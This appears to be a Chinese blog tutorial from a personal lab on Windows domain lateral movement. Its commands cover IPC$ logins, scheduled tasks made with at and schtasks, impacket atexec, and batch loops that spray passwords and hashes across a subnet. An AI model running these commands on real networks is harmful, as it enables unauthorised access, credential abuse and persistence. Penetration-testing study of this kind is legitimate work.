域横向批量at&schtasks&impacket

域横向批量at&schtasks&impacket
Yatming的博客横向渗透明文传递
在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令
- 获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
- IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管理计算机和查看计算机的共享资源时使用
利用流程
- 建立IPC链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
- 删除IPC链接
1 | net use \\server\ipc$"password" /user:username # 工作组 |
建立IPC常见的错误代码
- 5:拒绝访问,可能是使用的不是管理员权限,需要先提升权限
- 51:网络问题,windoows无法找到网络路径
- 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
- 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
- 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
- 1326:账号密码错误
- 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
- 2242:用户密码过期,目标有账号策略,强制定期更改密码
建立IPC失败的原因
- 目标系统不是NT或以上的操作系统
- 对方没有打开IPC$共享
- 对方未开启139,445端口,或者被防火墙屏蔽
- 输出命令,账号密码有错误
搭建环境。。。崩0.0,由于我的笔记本只有16G只能拿两台xp(占用内存小)来充当sql和file了
at
首先获取到对应的域控ip,这里假设已经得到了域控的密码
建立ipc连接
1 | net use \\192.168.70.134\ipc$ "123.com" /user:xiaodi.com\administrator |
查看连接
1 | net use |
写一个创建用户的批处理文件,在实战中你可以把这个文件换成msf的反弹木马,或者其他的
1 | net user xiaodi qwe123!@#X. /add |
赋值批处理文件到目标机器的c盘上
1 | copy add.bat \\192.168.70.134\c$ |
如果想要复制到其他目录的话如下:
1 | copy add.bat \\192.168.70.134\c$\wamp64 |
那么执行这个文件,使用at命令创建一个计划任务:
1 | at \\192.168.70.134 17:41 c:\add.bat |
由于我的域控是2012的所以这里不支持at,但是流程还是走一下吧
schtasks
这里小迪被拒绝了,拒绝访问的原因:域用户不能对本地Server 2012 SqlServer服务器进行操作
对Server 2012 SqlServer服务器的本地administraotr用户进行ipc连接,这里没有演示的原因就是因为我上面的at连接就是一台2012,没有其他的了,本身就起了四台,两台xp,一台2008当做被拿下的主机,一台2012当做域控,没内存了~
1 | net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administraotr |
创建 adduser 任务对应执行文件
1 | schtasks /create /s 192.168.70.134 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建任务 |
我这里首先是正常连接的,然后我就是创建不了这个任务
横向渗透明文HASH传递atexec-impacket
1 | 下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip |
- 优点:一句话命令,连接、提权全部搞定。
- 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
- atexec是Impacket网络协议工具包中的一个工具
1 | atexec.exe ./administrator:123.com@192.168.70.134 "whoami" |
那么既然这里可以实现命令,上面那里没有创建成功始终是不舒服,这里也是成功创建
1 | 上面两个案例总结: |
横向渗透明文 HASH 传递批量利用-综合
上面都是建立在拥有密码的情况下,那么在实战中如何从0到1呢?
首先:mimikatz获取密码(还是需要管理员权限,域成员权限运行不了)
用微软自带命令探寻网段的存活主机(自带内部命令推荐使用)
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.70.%I | findstr "TTL =" |
我这里虚拟的ip是从128之后开始分配的所以这里改了一点
将两个ip地址写入ips.txt(爆破脚本)
批量检测ip对应明文连接(for循环进行变量ip地址的ipc连接)
1 | FOR /F %i in (ips.txt) do net use \\%i\ipc$ "123.com" /user:xiaodi.com\administrator |
接下来就是批量的用atexec.exe
1 | FOR /F %i in (ips.txt) do atexec.exe ./administrator:123.com@%i whoami |
那么接下来就可以滚雪球了,实战情况下,在看192.168.70.134下面有没有密码,然后加入到密码字典中(这个密码字典你也可以自己放一些常用的密码进行爆破),对应关系就是$ip <--> $pass
,变量ip对应变量密码,1个ip对应一个循环的密码字典,然后把ip也循环一遍,密码是ip的内循环
批量哈希值去爆破
1 | FOR /F %i in (hash.txt) do atexec.exe -hashes :%i ./administrator@192.168.3.21 whoami |
横向渗透明文 HASH 传递批量利用-升级版
案例3中都是批处理命令,只能遍历一个变量,那么就收集起来的信息,使用多重循环进行逐个遍历就行了
neiwang.py
1 | import os,time |
将python文件打包成exe
1 | 首先要下载:pip install pyinstaller |
然后在dist目录下面就会有一个同名的exe文件
计算机中丢失api-ms-win-core-|1-1-0.dll
win2008还缺少环境,我直接在域控中做个演示把
解决方法:
1 | https://blog.csdn.net/gwz_6903/article/details/116304750 |
还是有报错,我放弃了
脚本运行结果:
提一嘴这里开启防火墙,好像就检测不到了